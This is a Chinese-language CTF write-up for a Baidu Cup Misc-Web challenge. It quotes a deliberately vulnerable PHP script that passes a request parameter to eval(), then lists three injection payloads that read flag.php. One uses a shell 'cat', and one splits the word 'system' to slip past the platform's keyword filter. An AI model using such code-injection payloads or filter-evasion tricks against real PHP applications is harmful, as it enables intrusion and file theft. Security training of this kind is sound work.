学习喵喵?CTFCTF

[百度杯-二月场](Misc-Web)爆破-2

2017-02-21  本文已影响167人  王一航

简介 :


分值:10分 类型:Misc Web已解答

题目:
flag不在变量中。

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);


解法 :


利用的方式类似于SQL注入 , 我们知道 eval 函数的功能就是讲一个字符串当作 php 的代码进行执行
那么 , 我们可以传递一个值去闭合 var_dump 的左括号 , 剩下的代码就可以由我们来控制了
下面给出三种 paylaod :

1. ?hello=$a);print_r(file("./flag.php")); //
2. ?hello=$a);echo `cat ./flag.php`; // 
注意这里是反引号 , 在 bash 中反引号括起来的字符串也是会被当成代码执行
3. ?hello=$a);$a="sys";$b="tem";$c=$a.$b;echo%20$c;$c("cat%20./flag.php"); // 
这里发现 i春秋 在http请求中拦截了 system 函数等关键字 , 
因此可以通过 php 的字符串连接成为函数名 , 然后进行调用
这里其实是把 system 函数名作为字符串分开 , 这样在 http 请求头中不会出现 "system(xxx)" 这样的关键字
上一篇下一篇

猜你喜欢

热点阅读